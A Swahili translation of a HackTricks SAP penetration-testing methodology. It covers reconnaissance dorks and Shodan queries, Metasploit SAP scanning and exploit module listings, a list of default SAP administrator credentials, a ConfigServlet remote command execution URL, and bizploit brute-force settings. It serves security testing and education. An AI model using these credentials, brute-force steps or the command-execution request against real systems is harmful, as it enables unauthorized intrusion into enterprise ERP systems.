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Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako inayotangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MPANGO WA KUJIUNGA!
Pata swag rasmi ya PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Utangulizi kuhusu SAP

SAP inasimama kwa Systems Applications and Products in Data Processing. SAP, kwa ufafanuzi, pia ni jina la programu ya ERP Enterprise Resource Planning pamoja na jina la kampuni. Mfumo wa SAP unajumuisha moduli kadhaa zilizounganishwa kabisa, ambazo zinashughulikia karibu kila nyanja ya usimamizi wa biashara.

Kila kifaa cha SAP au SID kina safu tatu: database, application na presentation), kila mazingira kawaida yana vifaa vinne: dev, test, QA na production. Kila safu inaweza kudukuliwa kwa kiwango fulani, lakini athari kubwa zaidi inaweza kupatikana kwa kushambulia database.

Kila kifaa cha SAP kimegawanywa katika wateja. Kila mmoja ana mtumiaji SAP*, sawa na "root" kwenye programu. Baada ya kuundwa kwa mara ya kwanza, mtumiaji huyu SAP* anapata nenosiri la chaguo-msingi: "060719992" nenosiri zaidi ya chaguo-msingi yapo hapa chini. Utashtuka ikiwa ungejua mara ngapi nenosiri hizi hazibadiliki katika mazingira ya majaribio au maendeleo!

Jaribu kupata ufikiaji wa kabati la seva yoyote kwa kutumia jina la mtumiaji <SID>adm. Kuvunja nguvu kunaweza kusaidia, hata hivyo, kuna mekanizmio ya Kufunga Akaunti.

Ugunduzi

Sehemu inayofuata kwa kiasi kikubwa inatoka https://github.com/shipcod3/mySapAdventures kutoka kwa mtumiaji shipcod3!

Angalia Wigo wa Maombi au Muhtasari wa Programu kwa ajili ya kupima. Chukua maelezo ya majina ya mwenyeji au vifaa vya mfumo kwa ajili ya kuunganisha na SAP GUI.
Tumia OSINT open source intelligence, Shodan na Google Dorks kuangalia faili, subdomains, na habari muhimu ikiwa programu inaonekana kwenye mtandao au ni ya umma:

inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

Hapa ndivyo http://SAP:50000/irj/portal inavyoonekana

Tumia nmap kuangalia bandari zilizofunguliwa na huduma zinazojulikana (sap routers, webdnypro, huduma za wavuti, seva za wavuti, nk.)
Tafuta URL ikiwa kuna seva ya wavuti inayofanya kazi.
Fuzz miongozo (unaweza kutumia Burp Intruder) ikiwa ina seva za wavuti kwenye bandari fulani. Hapa kuna orodha nzuri za maneno zinazotolewa na Mradi wa SecLists kwa kutafuta Njia za Msingi za SAP ICM na miongozo mingine ya kuvutia au faili:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

Tumia moduli ya Metasploit ya SAP SERVICE DISCOVERY kwa kuhesabu mifano/huduma/vipengele vya SAP:

msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

Kujaribu Mteja Mnene / SAP GUI

Hapa kuna amri ya kuunganisha kwenye SAP GUI sapgui <jina la mwenyeji wa seva ya SAP> <namba ya mfumo>

Angalia kwa siri za msingi Katika Uainishaji wa Hatari wa Bugcrowd, hii inachukuliwa kama P1 -> Usanidi Mbaya wa Usalama wa Seva \| Kutumia Siri za Msingi \| Seva ya Uzalishaji:

# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001

Chalaza Wireshark kisha thibitisha mteja (SAP GUI) kwa kutumia sifa ulizopata kwa sababu baadhi ya wateja hutuma sifa bila SSL. Kuna programu-jalizi mbili maarufu za Wireshark ambazo zinaweza kuchambua vichwa vikuu vya msingi vinavyotumiwa na itifaki ya SAP DIAG pia: Programu-jalizi ya uchambuzi wa SAP ya SecureAuth Labs na programu-jalizi ya SAP DIAG ya Positive Research Center.
Angalia kwa ajili ya kuinua haki za kipekee kama kutumia baadhi ya Nambari za Uendeshaji za SAP (tcodes) kwa watumiaji wenye haki za chini:
SU01 - Kuunda na kudumisha watumiaji
SU01D - Kuonyesha watumiaji
SU10 - Kwa matengenezo ya wingi
SU02 - Kwa uundaji wa mwongozo wa maelezo
SM19 - Ukaguzi wa usalama - usanidi
SE84 - Mfumo wa Habari kwa R/3 za SAP
Angalia ikiwa unaweza kutekeleza amri za mfumo / kukimbia hati katika mteja.
Angalia ikiwa unaweza kufanya XSS kwenye BAPI Explorer

Jaribio la kiolesura cha wavuti

Tafuta URL (angalia hatua ya ugunduzi).
Fanya Fuzz kwenye URL kama ilivyokuwa katika hatua ya ugunduzi. Hapa ndipo http://SAP:50000/index.html inavyoonekana:

Tafuta kasoro za kawaida za wavuti (Rejea kwa OWASP Top 10) kwa sababu kuna kasoro za XSS, RCE, XXE, nk. katika maeneo fulani.
Angalia “The Bug Hunters Methodology” ya Jason Haddix kwa ajili ya kujaribu kasoro za wavuti.
Kuna uwezekano wa kuvuka uthibitisho kupitia kubadilisha maneno? Labda :)
Fungua http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees# kisha bonyeza kifungo "Choose" na kisha katika dirisha lililofunguliwa bonyeza "Search". Unapaswa kuweza kuona orodha ya watumiaji wa SAP (Marejeo ya Kasoro: ERPSCAN-16-010)
Je, sifa zinawasilishwa kupitia HTTP? Ikiwa ndivyo, inachukuliwa kama P3 kulingana na Vulnerability Rating Taxonomy ya Bugcrowd: Uthibitishaji na Usimamizi wa Kikao Uliovunjika | Kazi Dhaifu ya Kuingia Kupitia HTTP. Fungua http://SAP:50000/startPage pia au malango ya kuingia :)

Jaribu /irj/go/km/navigation/ kwa orodha ya saraka inayowezekana au kuvuka uthibitisho
http://SAP/sap/public/info ina habari muhimu:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Shambulizi!

Angalia ikiwa inatumia seva au teknolojia za zamani kama vile Windows 2000.
Panga mashambulizi / uvamizi unaowezekana, kuna moduli nyingi za Metasploit kwa ugunduzi wa SAP (moduli za ziada) na mashambulizi:

msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow

Jaribu kutumia baadhi ya mianya inayojulikana (angalia Exploit-DB) au mashambulizi kama vile "SAP ConfigServlet Remote Code Execution" katika SAP Portal:

http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

Kabla ya kutekeleza amri ya start kwenye script ya bizploit katika hatua ya Ugunduzi, unaweza pia kuongeza yafuatayo kwa ajili ya kufanya tathmini ya udhaifu:

bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

Vifaa Vingine Vyenye Manufaa kwa Majaribio

PowerSAP - Zana ya Powershell ya kutathmini usalama wa SAP
Burp Suite - lazima iwe nayo kwa kufanya directory fuzzing na tathmini ya usalama wa wavuti
pysap - Maktaba ya Python ya kutengeneza pakiti za itifaki ya mtandao ya SAP
https://github.com/gelim/nmap-erpscan - Inasaidia nmap kugundua SAP/ERP

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!